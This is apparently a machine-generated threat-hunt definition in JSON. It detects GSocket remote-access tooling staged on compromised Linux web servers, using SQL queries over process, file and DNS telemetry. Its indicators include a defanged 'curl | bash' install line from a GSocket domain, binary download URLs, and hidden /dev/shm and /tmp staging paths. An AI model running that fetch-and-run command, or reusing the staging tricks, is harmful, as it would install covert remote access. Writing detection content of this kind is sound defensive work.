{ "hunt": { "meta": { "tlp": "clear", "hunt": { "handoff": "promote-to-detection", "trigger": "intel-report", "methodology": "model-assisted", "applicability": "campaign-specific", "justification": "The 356% increase in GSocket weaponization demonstrates a high risk of persistent, encrypted remote access that bypasses traditional patch-based remediation." }, "name": "Linux Web Server Tool Staging and Execution", "type": "investigation", "labels": [ "hunt", "attack.t1190", "attack.t1105", "attack.t1059.004", "attack.t1564.001", "attack.t1070.004", "command and control", "defense evasion", "execution", "initial access", "persistence", "privilege escalation" ], "series": { "slug": "the-global-socket-how-threat-actors-are-weaponizing-gsocket-for-stealthy-c2", "index": 1, "title": "The global socket: how threat actors are weaponizing GSocket for stealthy C2", "total": 2 }, "related": [ { "hunt": "gsocket-persistence-and-relay-c2", "reason": "This hunt focuses on initial staging; follow-on activity involves systemd/cron persistence and relay network traffic.", "relation": "follows" } ], "targets": { "hunter": { "name": "Hunt agent", "agent": true }, "analyst": { "name": "Tier-2 analyst", "role": "analyst" }, "endpoint": { "name": "Endpoint telemetry (hb_ surfaces)", "category": "endpoint", "telemetry": [ "endpoint" ] } }, "analysis": "A simple alert on 'curl | bash' is too noisy for production; this hunt uses a behavioral process lead followed by cross-surface corroboration in volatile directories to confirm weaponization.", "coverage": [ { "stage": "initial-web-exploitation", "steps": [ "scoping-web-servers", "lead-web-spawning-downloader" ], "status": "covered" }, { "stage": "deployment-downloader", "steps": [ "lead-web-spawning-downloader", "execution-from-volatile-paths", "dns-to-relay-domains" ], "status": "covered" }, { "stage": "concealed-staging", "steps": [ "web-account-file-staging" ], "status": "covered" }, { "stage": "privilege-escalation-exploit", "reason": "Belongs to another part of the 'The global socket: how threat actors are weaponizing GSocket for stealthy C2' series.", "status": "out_of_scope" }, { "stage": "masqueraded-persistence", "reason": "Belongs to another part of the 'The global socket: how threat actors are weaponizing GSocket for stealthy C2' series.", "status": "out_of_scope" }, { "stage": "encrypted-relay-c2", "reason": "Belongs to another part of the 'The global socket: how threat actors are weaponizing GSocket for stealthy C2' series.", "status": "out_of_scope" } ], "scenario": { "stages": [ { "name": "Web Application Compromise", "slug": "initial-web-exploitation", "tactic": "initial-access", "techniques": [ "T1190" ], "observables": [ "PHP web applications", "cPanel hosting", "Apache web server context", "Remote code execution" ] }, { "name": "Scripted Tool Retrieval", "slug": "deployment-downloader", "tactic": "execution", "techniques": [ "T1105", "T1059.004" ], "observables": [ "curl -sSL hxxps://gsocket[.]io/y | bash", "hxxps://gsocket[.]io/install.sh", "hxxps://gsgg[.]b-cdn[.]net/bin/gs-netcat_mini-linux-x86_64", "hxxps://cdn[.]gsocket[.]io/bin/gs-netcat_mini-linux-aarch64" ] }, { "name": "Hidden Payload Staging", "slug": "concealed-staging", "tactic": "defense-evasion", "techniques": [ "T1564.001", "T1070.004" ], "observables": [ "/dev/shm/.gs-0/", "/tmp/.gsn_ora", "/tmp/systemd-remount-d", "Memory-backed directories" ] }, { "name": "Kernel Exploitation", "slug": "privilege-escalation-exploit", "tactic": "privilege-escalation", "techniques": [ "T1068" ], "observables": [ "CVE-2026-43284", "Dirty Frag vulnerability" ] }, { "name": "Systemd and Cron Persistence", "slug": "masqueraded-persistence", "tactic": "persistence", "techniques": [ "T1036", "T1053.003", "T1543.002" ], "observables": [ "systemd-remount-d", "/usr/bin/systemd-remount-d", "cron jobs", "systemd units", "kernel-thread-like names" ] }, { "name": "Relay Network C2", "slug": "encrypted-relay-c2", "tactic": "command-and-control", "techniques": [ "T1071", "T1090.002" ], "observables": [ "gsocket.io", "cdn.gsocket.io", "gsgg.b-cdn.net", "Outbound encrypted relay traffic", "GS_TG_TOKEN", "Telegram notification delivery" ] } ], "summary": "Threat actors are weaponizing GSocket, a legitimate encrypted relay tool, to maintain persistent outbound-only C2 on compromised Linux servers. By tunneling traffic through the public Global Socket Relay Network, attackers evade inbound firewall restrictions and bypass traditional IP-based blocking even after the initial web application vulnerability is patched." }, "severity": "high", "rationale": "Focus the hunt on Linux servers running internet-facing web software (Apache, Nginx, PHP). Use the scoping step to identify targets and paste them into the scope_hosts parameter if narrowing the lead is required.", "guardrails": { "claims": "no_unsupported", "evidence": "citation_required", "telemetry": "untrusted", "missing_data": "not_benign" }, "hypothesis": "An adversary has exploited a web application and is using the web server's process context to download and stage a remote access tool like GSocket in memory-backed or hidden directories.", "parameters": { "scope_hosts": { "type": "list[host]", "default": [], "description": "Optional list of hostnames to focus the lead query; leave empty for estate-wide." }, "lookback_days": { "type": "number", "default": "14", "description": "Days of history to examine." }, "gsocket_domains": { "from": { "ref": "msrc-blog-2026-11-11", "kind": "article", "observed": "2026-11-11" }, "type": "list[domain]", "default": [ "gsocket.io", "gsgg.b-cdn.net", "cdn.gsocket.io" ], "description": "Known domains used for GSocket relay and distribution." } }, "provenance": { "authors": [ { "org": "huntbase.io", "name": "Huntbase hunt generation" } ], "generated": { "by": "huntbase-hunt-generation", "from": "https://www.microsoft.com/en-us/security/blog/2026/11/11/global-socket-how-threat-actors-weaponizing-gsocket-stealthy-c2/", "gates": [ "dry-run", "lint" ], "model": "hb_google/gemini-3-flash-preview" } }, "references": [ { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/11/global-socket-how-threat-actors-weaponizing-gsocket-stealthy-c2/", "name": "Microsoft Security Blog \u2014 The global socket: how threat actors are weaponizing GSocket for stealthy C2" } ], "blind_spots": [ { "id": "no-process-telemetry", "risk": "Without process execution logs, the behavioral lead will fail to identify the compromise.", "stage": "deployment-downloader", "question": "whether a web server process spawned a shell or downloader", "requires": "hb_process_activity from Linux servers" }, { "id": "no-file-telemetry", "risk": "Many EDR configurations exclude volatile or memory-backed paths like /dev/shm, hiding the staging activity.", "stage": "concealed-staging", "question": "whether files were created by web service accounts in volatile paths", "requires": "hb_file_activity with /dev/shm and /tmp coverage" } ] }, "name": "Linux Web Server Tool Staging and Execution", "description": "Threat actors are weaponizing GSocket (Global Socket) on Linux servers to maintain persistent, encrypted access that survives application patching. This hunt focuses on the initial deployment phase where a compromised web server process executes a scripted downloader and stages a binary in memory-backed directories like /dev/shm or hidden /tmp paths. The hunt uses a gated flow: a cheap lead query identifies web server processes spawning downloaders or shell interpreters regardless of the target domain. If confirmed, the hunt fans out to look for the specific execution patterns in volatile paths, file creation by web service accounts, and connections to known relay domains." }, "nodes": [ { "id": "hypothesis", "type": "hypothesis", "label": "Hypothesis", "config": { "tags": [], "series": { "slug": "the-global-socket-how-threat-actors-are-weaponizing-gsocket-for-stealthy-c2", "index": 1, "title": "The global socket: how threat actors are weaponizing GSocket for stealthy C2", "total": 2 }, "coverage": [ { "stage": "initial-web-exploitation", "steps": [ "scoping-web-servers", "lead-web-spawning-downloader" ], "status": "covered" }, { "stage": "deployment-downloader", "steps": [ "lead-web-spawning-downloader", "execution-from-volatile-paths", "dns-to-relay-domains" ], "status": "covered" }, { "stage": "concealed-staging", "steps": [ "web-account-file-staging" ], "status": "covered" }, { "stage": "privilege-escalation-exploit", "reason": "Belongs to another part of the 'The global socket: how threat actors are weaponizing GSocket for stealthy C2' series.", "status": "out_of_scope" }, { "stage": "masqueraded-persistence", "reason": "Belongs to another part of the 'The global socket: how threat actors are weaponizing GSocket for stealthy C2' series.", "status": "out_of_scope" }, { "stage": "encrypted-relay-c2", "reason": "Belongs to another part of the 'The global socket: how threat actors are weaponizing GSocket for stealthy C2' series.", "status": "out_of_scope" } ], "rationale": "An adversary has exploited a web application and is using the web server's process context to download and stage a remote access tool like GSocket in memory-backed or hidden directories.", "blind_spots": [ { "id": "no-process-telemetry", "risk": "Without process execution logs, the behavioral lead will fail to identify the compromise.", "stage": "deployment-downloader", "question": "whether a web server process spawned a shell or downloader", "requires": "hb_process_activity from Linux servers" }, { "id": "no-file-telemetry", "risk": "Many EDR configurations exclude volatile or memory-backed paths like /dev/shm, hiding the staging activity.", "stage": "concealed-staging", "question": "whether files were created by web service accounts in volatile paths", "requires": "hb_file_activity with /dev/shm and /tmp coverage" } ], "scoping_notes": "Focus the hunt on Linux servers running internet-facing web software (Apache, Nginx, PHP). Use the scoping step to identify targets and paste them into the scope_hosts parameter if narrowing the lead is required.", "beyond_detection": "A simple alert on 'curl | bash' is too noisy for production; this hunt uses a behavioral process lead followed by cross-surface corroboration in volatile directories to confirm weaponization." } }, { "id": "scoping-web-servers", "type": "query", "label": "Identify web server inventory", "config": { "dsl": "sqlite", "role": "scoping", "source": "endpoint", "content": "SELECT DISTINCT device_hostname, package_name, package_version FROM hb_software_inventory WHERE (LOWER(package_name) LIKE '%apache%' OR LOWER(package_name) LIKE '%nginx%' OR LOWER(package_name) LIKE '%php%' OR LOWER(package_name) LIKE '%cpanel%')", "surface": "hb_software_inventory", "description": "Find Linux servers running Apache, Nginx, PHP, or cPanel that represent the primary attack surface.", "expected_signal": "A list of hostnames running web hosting software. Silence means no such software is indexed." }, "parents": [ { "id": "hypothesis" } ], "primitive_config": { "dsl": "sqlite", "role": "scoping", "label": "Identify web server inventory", "reads": [ "device_hostname", "package_name", "package_version" ], "source": "hb_software_inventory", "target": "endpoint", "content": "SELECT DISTINCT device_hostname, package_name, package_version FROM hb_software_inventory WHERE (LOWER(package_name) LIKE '%apache%' OR LOWER(package_name) LIKE '%nginx%' OR LOWER(package_name) LIKE '%php%' OR LOWER(package_name) LIKE '%cpanel%')", "silence": "not_evidence_of_absence", "expected": "A list of hostnames running web hosting software. Silence means no such software is indexed.", "verified": "dry-run", "verified_at": "2026-11-12" } }, { "id": "lead-web-spawning-downloader", "type": "query", "label": "Lead: Web server spawning downloaders", "config": { "dsl": "sqlite", "role": "baseline", "source": "endpoint", "content": "SELECT device_hostname, parent_process_name, process_name, process_cmd_line, user_name, COUNT(*) as occurrence_count FROM hb_process_activity WHERE (LOWER(parent_process_name) LIKE '%apache%' OR LOWER(parent_process_name) LIKE '%httpd%' OR LOWER(parent_process_name) LIKE '%nginx%' OR LOWER(parent_process_name) LIKE '%php-fpm%' OR LOWER(parent_process_name) LIKE '%cpanel%') AND (LOWER(process_name) LIKE '%curl%' OR LOWER(process_name) LIKE '%wget%' OR LOWER(process_name) LIKE '%bash%' OR LOWER(process_name) LIKE '%sh%') AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY 1, 2, 3, 4, 5", "surface": "hb_process_activity", "description": "Identify hosts where web server processes are spawning tools used for external retrieval or shell execution.", "expected_signal": "Anomalous process spawning from a web server context. Silence suggests no such shell or downloader activity occurred." }, "parents": [ { "id": "scoping-web-servers" } ], "primitive_config": { "dsl": "sqlite", "role": "baseline", "label": "Lead: Web server spawning downloaders", "reads": [ "device_hostname", "parent_process_name", "process_name", "process_cmd_line", "user_name", "time" ], "source": "hb_process_activity", "target": "endpoint", "content": "SELECT device_hostname, parent_process_name, process_name, process_cmd_line, user_name, COUNT(*) as occurrence_count FROM hb_process_activity WHERE (LOWER(parent_process_name) LIKE '%apache%' OR LOWER(parent_process_name) LIKE '%httpd%' OR LOWER(parent_process_name) LIKE '%nginx%' OR LOWER(parent_process_name) LIKE '%php-fpm%' OR LOWER(parent_process_name) LIKE '%cpanel%') AND (LOWER(process_name) LIKE '%curl%' OR LOWER(process_name) LIKE '%wget%' OR LOWER(process_name) LIKE '%bash%' OR LOWER(process_name) LIKE '%sh%') AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY 1, 2, 3, 4, 5", "silence": "not_evidence_of_absence", "baseline": { "window": "{{lookback_days}}d", "compare": "first_seen" }, "expected": "Anomalous process spawning from a web server context. Silence suggests no such shell or downloader activity occurred.", "verified": "dry-run", "prevalence": { "by": "device_hostname", "key": [ "parent_process_name", "process_name" ], "rare_below": 5 }, "verified_at": "2026-11-12" } }, { "id": "gate-read", "type": "analytic", "label": "Evaluate lead activity", "config": { "cite": "required", "tools": [ "endpoint" ], "context": [ "lead-web-spawning-downloader" ], "objective": "Determine if the process activity in lead-web-spawning-downloader represents a suspicious download-and-execute pattern from a web context.", "description": "Decide if the process spawning looks like an unauthorized tool retrieval attempt.", "max_iterations": 3, "expected_signal": "A per-host verdict on whether to proceed with deep analysis.", "success_criteria": "A verdict per host indicating if behavioral evidence warrants investigation." }, "parents": [ { "id": "lead-web-spawning-downloader" } ] }, { "id": "gate-decision", "type": "checkpoint", "label": "Gate Decision", "config": { "fuzzy": true, "judge": "hunter", "question": "The gate-read verdict is suspicious for at least one host.", "condition": "The gate-read verdict is suspicious for at least one host.", "blind_spot": "no-process-telemetry", "confidence": "high", "description": "Open expensive behavioral queries only if the lead is suspicious.", "checkpoint_type": "mandatory" }, "parents": [ { "id": "gate-read" } ] }, { "id": "execution-from-volatile-paths", "type": "query", "label": "Execution from volatile paths", "config": { "dsl": "sqlite", "role": "detection-candidate", "source": "endpoint", "content": "SELECT device_hostname, process_name, process_cmd_line, parent_process_name, user_name, time FROM hb_process_activity WHERE (process_path LIKE '/dev/shm/%' OR process_path LIKE '/tmp/%' OR process_path LIKE '/var/tmp/%') AND (LOWER(parent_process_name) LIKE '%bash%' OR LOWER(parent_process_name) LIKE '%sh%' OR LOWER(parent_process_name) LIKE '%curl%' OR LOWER(parent_process_name) LIKE '%wget%') AND time >= datetime('now', '-{{lookback_days}} days')", "surface": "hb_process_activity", "description": "Identify the pattern of a fetcher tool (curl/wget/sh) initiating the execution of a binary from memory-backed or hidden directories.", "expected_signal": "A process chain where a staged binary is executed by a shell or downloader context. Silence suggests no such tool execution occurred." }, "parents": [ { "id": "gate-decision", "branch": "on_supports" } ], "primitive_config": { "dsl": "sqlite", "role": "detection-candidate", "label": "Execution from volatile paths", "reads": [ "device_hostname", "process_name", "process_cmd_line", "parent_process_name", "user_name", "time", "process_path" ], "source": "hb_process_activity", "target": "endpoint", "content": "SELECT device_hostname, process_name, process_cmd_line, parent_process_name, user_name, time FROM hb_process_activity WHERE (process_path LIKE '/dev/shm/%' OR process_path LIKE '/tmp/%' OR process_path LIKE '/var/tmp/%') AND (LOWER(parent_process_name) LIKE '%bash%' OR LOWER(parent_process_name) LIKE '%sh%' OR LOWER(parent_process_name) LIKE '%curl%' OR LOWER(parent_process_name) LIKE '%wget%') AND time >= datetime('now', '-{{lookback_days}} days')", "silence": "not_evidence_of_absence", "expected": "A process chain where a staged binary is executed by a shell or downloader context. Silence suggests no such tool execution occurred.", "verified": "dry-run", "verified_at": "2026-11-12" } }, { "id": "web-account-file-staging", "type": "query", "label": "File staging by web accounts", "config": { "dsl": "sqlite", "role": "enrichment", "source": "endpoint", "content": "SELECT device_hostname, file_path, process_name, actor_user_name, time FROM hb_file_activity WHERE (file_path LIKE '/dev/shm/%' OR file_path LIKE '/tmp/%' OR file_path LIKE '/var/tmp/%') AND (LOWER(actor_user_name) IN ('www-data', 'apache', 'nginx', 'cpanel', 'httpd', 'nobody')) AND time >= datetime('now', '-{{lookback_days}} days')", "surface": "hb_file_activity", "description": "Corroborate by identifying file touches in volatile paths by accounts typically associated with web services.", "expected_signal": "File creation in hidden or memory-backed paths by web service accounts. Silence means no such files were logged." }, "parents": [ { "id": "gate-decision", "branch": "on_supports" } ], "primitive_config": { "dsl": "sqlite", "role": "enrichment", "label": "File staging by web accounts", "reads": [ "device_hostname", "file_path", "process_name", "actor_user_name", "time" ], "source": "hb_file_activity", "target": "endpoint", "content": "SELECT device_hostname, file_path, process_name, actor_user_name, time FROM hb_file_activity WHERE (file_path LIKE '/dev/shm/%' OR file_path LIKE '/tmp/%' OR file_path LIKE '/var/tmp/%') AND (LOWER(actor_user_name) IN ('www-data', 'apache', 'nginx', 'cpanel', 'httpd', 'nobody')) AND time >= datetime('now', '-{{lookback_days}} days')", "silence": "not_evidence_of_absence", "expected": "File creation in hidden or memory-backed paths by web service accounts. Silence means no such files were logged.", "verified": "dry-run", "verified_at": "2026-11-12" } }, { "id": "dns-to-relay-domains", "type": "query", "label": "DNS resolutions for GSocket domains", "config": { "dsl": "sqlite", "role": "enrichment", "source": "endpoint", "content": "SELECT device_hostname, query_hostname, COUNT(*) as query_count, MIN(time) as first_seen FROM hb_dns_activity WHERE instr(',' || '{{gsocket_domains}}' || ',', ',' || LOWER(query_hostname) || ',') > 0 AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY 1, 2", "surface": "hb_dns_activity", "description": "Corroborate the behavioral evidence with lookups for known tool distribution and relay domains.", "expected_signal": "DNS resolutions to gsocket.io or its CDNs. Silence suggests a custom or IP-based relay was used." }, "parents": [ { "id": "gate-decision", "branch": "on_supports" } ], "primitive_config": { "dsl": "sqlite", "role": "enrichment", "label": "DNS resolutions for GSocket domains", "reads": [ "device_hostname", "query_hostname", "time" ], "source": "hb_dns_activity", "target": "endpoint", "content": "SELECT device_hostname, query_hostname, COUNT(*) as query_count, MIN(time) as first_seen FROM hb_dns_activity WHERE instr(',' || '{{gsocket_domains}}' || ',', ',' || LOWER(query_hostname) || ',') > 0 AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY 1, 2", "silence": "not_evidence_of_absence", "expected": "DNS resolutions to gsocket.io or its CDNs. Silence suggests a custom or IP-based relay was used.", "verified": "dry-run", "verified_at": "2026-11-12" } }, { "id": "agent-triage", "type": "analytic", "label": "Triage combined evidence", "config": { "cite": "required", "tools": [ "endpoint" ], "context": [ "gate-read", "execution-from-volatile-paths", "web-account-file-staging", "dns-to-relay-domains" ], "objective": "Determine if the correlated activity across process, file, and DNS telemetry indicates a GSocket deployment or unauthorized tool staging.", "description": "Analyze process execution, file staging, and DNS lookups together to confirm an intrusion.", "max_iterations": 6, "expected_signal": "A malicious verdict for confirmed cases of tool deployment.", "success_criteria": "A malicious | suspicious | benign verdict per host, citing the command lines and volatile file paths." }, "parents": [ { "id": "execution-from-volatile-paths", "kind": "merge" }, { "id": "web-account-file-staging", "kind": "merge" }, { "id": "dns-to-relay-domains", "kind": "merge" } ] }, { "id": "route-verdict", "type": "checkpoint", "label": "Route on verdict", "config": { "fuzzy": true, "judge": "hunter", "question": "the triage verdict is malicious for at least one host", "condition": "the triage verdict is malicious for at least one host", "blind_spot": "no-file-telemetry", "confidence": "high", "description": "Route to containment or manual review based on the triage agent's confidence.", "checkpoint_type": "mandatory" }, "parents": [ { "id": "agent-triage" } ] }, { "id": "isolate-host", "type": "action", "label": "Isolate host", "config": { "target": "endpoint", "description": "Prevent the relay tool from communicating with the network.", "instructions": "Isolate the host immediately. Do not reboot, as contents in /dev/shm will be lost. Collect memory and volatile path contents first.", "action_approval": "required" }, "parents": [ { "id": "route-verdict", "branch": "on_supports" } ] }, { "id": "analyst-review", "type": "task", "label": "Analyst review", "config": { "assignee": "analyst", "description": "Verify the findings and investigate the initial entry point on the web server.", "instructions": "Review the triage agent's verdict and the cited process hierarchies. Check web server logs (Apache/Nginx) for RCE attempts or malicious file uploads matching the timing of the downloader activity." }, "parents": [ { "id": "gate-decision", "branch": "default" }, { "id": "gate-decision", "branch": "on_unavailable" }, { "id": "route-verdict", "branch": "default" }, { "id": "route-verdict", "branch": "on_unavailable" }, { "id": "isolate-host" } ] }, { "id": "close-out", "type": "task", "label": "Close out", "config": { "assignee": "analyst", "description": "Record the hunt's completion and note any identified false positives.", "instructions": "Record the results of the hunt. If no activity was found, verify that the scoping query successfully identified web server assets." }, "parents": [ { "id": "gate-decision", "branch": "on_refutes" }, { "id": "route-verdict", "branch": "on_refutes" } ] } ] }